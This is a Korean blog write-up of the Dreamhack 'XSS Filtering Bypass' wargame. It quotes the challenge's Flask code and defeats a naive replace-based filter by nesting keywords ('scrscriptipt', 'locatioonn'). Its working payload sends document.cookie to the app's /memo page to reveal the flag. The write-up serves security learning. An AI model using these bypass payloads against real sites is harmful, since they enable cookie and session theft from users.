<문제>
Exercise: XSS Filtering Bypass에서 실습하는 문제입니다.
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
def xss_filter(text):
_filter = ["script", "on", "javascript:"]
for f in _filter:
if f in text.lower():
text = text.replace(f, "")
return text
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
param = xss_filter(param)
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
코드의 흐름을 보면 flag 링크에서 param을 입력하고 요청을 보내면,
check_xss함수에서 vuln 링크로 요청을 보낸다.
vuln 링크에서는 xss_filter함수로 필터링을 한다.
여기서 xss_filter함수의 필터링을 우회하면 되는데 코드에서
script, on, javascript를 필터링하고 있다.
replace 방식으로 필터링하고 있기 때문에 scrscriptipt 이런식으로 작성해서 우회할 수 있다.
여기서 cookie에 담겨있는 flag를 읽어야 하는데
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
이렇게 아주 유용한 링크가 있어서 memo링크로 요청을 보내서 볼 수 있게 하면 된다.
<scscriptript> location.href='/memo?memo='+document.cookie;</scrscriptipt>
이렇게 flag 링크에서 공격 구문을 작성해서 보냈는데 안된다.
뭐가 문젠지 몰라서 헤맸는데 location에서 on이 들어가 있어서 필터링이 되고 있었다.
<scrscriptipt> locatioonn.href='/memo?memo='+document.cookie;</scrscriptipt>
이렇게 location도 정상적으로 실행이 되게 우회를 시켜주고
요청을 보낸다.
memo링크로 들어가 보면
cookie에 담겨있던 flag가 보인다.
'웹해킹' 카테고리의 다른 글
Content Security Policy & CSP Bypass (0) | 2023.11.24 |
---|---|
드림핵 XSS Filtering Bypass Advanced 롸업 (0) | 2023.11.21 |
XSS Filtering Bypass (0) | 2023.11.20 |
드림핵 blind-command 롸업 (0) | 2023.11.05 |
드림핵 Carve Party 롸업 (0) | 2023.11.05 |